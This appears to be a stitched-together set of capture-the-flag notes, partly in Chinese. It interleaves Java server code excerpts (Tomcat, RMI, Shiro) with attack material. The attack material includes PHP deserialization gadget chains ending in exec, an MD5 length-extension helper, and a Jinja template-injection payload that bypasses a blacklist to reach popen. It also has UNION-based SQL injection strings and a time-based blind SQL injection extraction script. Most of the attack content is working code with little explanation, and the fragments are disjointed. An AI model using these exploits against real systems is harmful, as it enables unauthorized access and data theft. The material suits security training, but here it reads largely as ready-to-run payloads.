// Select the Host to be used for this Request Hosthost= request.getHost(); if (host == null) { response.sendError (HttpServletResponse.SC_BAD_REQUEST, sm.getString("standardEngine.noHost", request.getServerName())); return; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); }
// Ask this Host to process this request host.getPipeline().getFirst().invoke(request, response);
publicvoidexportObject(Target target)throws RemoteException { transport.exportObject(target); } publicvoidexportObject(Target target)throws RemoteException { /* * Ensure that a server socket is listening, and count this * export while synchronized to prevent the server socket from * being closed due to concurrent unexports. */ synchronized (this) { listen(); exportCount++; }
/* * Try to add the Target to the exported object table; keep * counting this export (to keep server socket open) only if * that succeeds. */ booleanok=false; try { super.exportObject(target); ok = true; } finally { if (!ok) { synchronized (this) { decrementExportCount(); } } } }
// read return value switch (returnType) { case TransportConstants.NormalReturn: break;
case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { thrownewUnmarshalException("Error unmarshaling return", e); }
// An exception should have been received, // if so throw it, else flag error if (ex instanceof Exception) { exceptionReceivedFromServer((Exception) ex); } else { thrownewUnmarshalException("Return type not Exception"); } // Exception is thrown before fallthrough can occur default: if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "return code invalid: " + returnType); } thrownewUnmarshalException("Return code invalid"); } }
publicvoidexecuteCall()throws Exception { switch (returnType) { case TransportConstants.NormalReturn: break;
case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { thrownewUnmarshalException("Error unmarshaling return", e); }
// An exception should have been received, // if so throw it, else flag error if (ex instanceof Exception) { exceptionReceivedFromServer((Exception) ex); } else { thrownewUnmarshalException("Return type not Exception"); } // Exception is thrown before fallthrough can occur default: if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "return code invalid: " + returnType); } thrownewUnmarshalException("Return code invalid"); } }
classa{ public $OAO; public $QAQ; public $OVO; public function __toString(){ if(!preg_match('/hello/', OVO)){ if ($this->OVO === "hello") { return $this->OAO->QAQ; } } } public function __invoke(){ return $this->OVO; } }
classb{ public $pap; public $vqv; public function __get($key){ $functioin = $this->pap; return $functioin(); } public function __toString(){ return $this->vqv; } } classc{ public $OOO; public function __invoke(){ @$_ = $this->OOO; $___ = $_GET; var_dump($___); if (isset($___['h_in.t'])) { unset($___['h_in.t']); } var_dump($___); echo @call_user_func($_, ...$___); } } classd{ public $UUU; public $uuu; public function __wakeup(){ echo $this->UUU; } public function __destruct(){ $this->UUU; } } if(isset($_GET['h_in.t'])){ unserialize($_GET['h_in.t']); } ?>
<?php classa{ public $OAO; public $QAQ; public $OVO="hello"; }
classb{ public $pap="phpinfo"; public $vqv; } classd{ public $UUU; public $uuu; } $a=newd(); $a->UUU=newa(); $a->UUU->OAO=newb(); echo serialize($a); ?>
<?php classa{ public $OAO; public $QAQ; public $OVO="hello"; }
classb{ public $pap; public $vqv; } classc{ public $OOO="exec"; } classd{ public $UUU; public $uuu; } $a=newd(); $a->UUU=newa(); $a->UUU->OAO=newb(); $a->UUU->OAO->pap=newc(); echo serialize($a); //O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:4:"exec";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;} ?>
if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { Stringmsg="Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation."; log.debug(msg); } return; }
//base 64 encode it and store as a cookie: Stringbase64= Base64.encodeToString(serialized);
Cookietemplate= getCookie(); //the class attribute is really a template for the outgoing cookies Cookiecookie=newSimpleCookie(template); cookie.setValue(base64); cookie.saveTo(request, response); }
publicvoidsetCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { Stringmsg="SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation."; log.debug(msg); } returnnull; }
WebSubjectContextwsc= (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { returnnull; }
Stringbase64= getCookie().readValue(request, response); // Browsers do not always remove cookies immediately (SHIRO-183) // ignore cookies that are scheduled for removal if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) returnnull;
publicstatic Class forName(String fqcn)throws UnknownClassException {
Classclazz= THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); }
if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); }
if (clazz == null) { Stringmsg="Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; thrownewUnknownClassException(msg); }
defmd5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int: message = padding_message(message) hash_pieces = get_init_values(A, B, C, D)[:] for chunk_ofst inrange(0, len(message), 64): a, b, c, d = hash_pieces chunk = message[chunk_ofst:chunk_ofst + 64] for i inrange(64): f = functions[i](b, c, d) g = index_functions[i](i) to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little') new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF a, b, c, d = d, new_b, b, c for i, val inenumerate([a, b, c, d]): hash_pieces[i] += val hash_pieces[i] &= 0xFFFFFFFF
returnsum(x << (32 * i) for i, x inenumerate(hash_pieces))
defmd5_to_hex(digest: int) -> str: raw = digest.to_bytes(16, byteorder='little') return'{:032x}'.format(int.from_bytes(raw, byteorder='big'))
defget_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str: return md5_to_hex(md5(message, A, B, C, D))
defmd5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int: hash_pieces = get_init_values(A, B, C, D)[:] for chunk_ofst inrange(0, len(message), 64): a, b, c, d = hash_pieces chunk = message[chunk_ofst:chunk_ofst + 64] for i inrange(64): f = functions[i](b, c, d) g = index_functions[i](i) to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little') new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF a, b, c, d = d, new_b, b, c for i, val inenumerate([a, b, c, d]): hash_pieces[i] += val hash_pieces[i] &= 0xFFFFFFFF
returnsum(x << (32 * i) for i, x inenumerate(hash_pieces))
defget_init_values_from_hash_str(real_hash: str) -> List[int]: """ Args: real_hash: 真实的hash结算结果 Returns: 哈希初始化值[A, B, C, D] """ str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i inrange(4)] # 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字 return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]
import random for i in range(1000000,9999999): random.seed(i) first_num = random.randint(1000000000, 9999999999) if(first_num==2750639080): print(random.randint(1000000000, 9999999999)) break
from flask import Flask, session, request, render_template_string app = Flask(__name__) app.secret_key = '0day_joker' @app.route('/') defindex(): session['role'] = { 'is_admin': 0, 'flag': 'your_flag_here' } withopen(__file__, 'r') as file: code = file.read() return code @app.route('/admin') defadmin_handler(): try: role = session.get('role') ifnotisinstance(role, dict): raise Exception except Exception: return'Without you, you are an intruder!' if role.get('is_admin') == 1: flag = role.get('flag') or'admin' message = "Oh,I believe in you! The flag is: %s" % flag return render_template_string(message) else: return"Error: You don't have the power!" if __name__ == '__main__': app.run('0.0.0.0', port=80)
1") group by 2# 0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //flag,users 0") union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'# //id,scretdata 0") union select 1,group_concat(scretdata) from flag# //被你查到了, 果然不安全,把重要的东西写在注释就不会忘了
这里需要查看注释来获取flag
1
0") union SELECT column_name, column_comment FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'#
@app.route('/namelist', methods=['GET']) def name_list(): name = request.args.get('name') template = '<h1>Hi, %s.</h1>' % name rendered_string= render_template_string(template) if rendered_string: return'Success Write your name to database' else: return'Error'
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.getenv('FLAG') @app.route('/') def index(): returnopen(__file__).read() @app.route('/redflag/<path:redflag>') def redflag(redflag): def safe_jinja(payload): payload = payload.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload return flask.render_template_string(safe_jinja(redflag)) return flask.render_template_string(safe_jinja(redflag))
这里将redflag进行模块渲染,并且redflag为
1
/redflag/<path:redflag>
表示我们提交的/redflag/路由下的目录
1 2 3
payload = payload.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
classGotham{ public $Bruce; public $Wayne; public $crime=false; public function__construct($Bruce,$Wayne){ $this->Bruce = $Bruce; $this->Wayne = $Wayne; } }
<?php highlight_file(__FILE__); $cmd = $_POST['cmd']; // check if space is present in the command // use of preg_match to check if space is present in the command if (preg_match('/\s/', $cmd)) { echo'Space not allowed in command'; exit; } // execute the command system($cmd);
response = session.get(fetch_url) #response.raise_for_status() # 检查请求是否成功 data = response.text # 假设返回的是纯文本 print(data) result = extract_and_calculate(data) if result is not None: send_result(result, send_url)
for i in range(500): url = "http://challenge.basectf.fun:40577/flag" data={'flag':"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')("+str(i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}"} res = requests.post(url=url,data=data) if'popen' in res.text: print(i) break #137
sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789" flag='' url = "http://challenge.basectf.fun:40165/" for i in range(1, 100): for c in sqlstr: # print(c) payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)".format((flag + c)) params = { 'sql': payload } start_time = time.time() r = requests.get(url=url, params=params) print(r.text) try: r = requests.get(url=url,params=params) print(r.text) end_time = time.time() response_time = end_time - start_time if response_time>1: print(flag + c) flag += c break except: print("Request failed") continue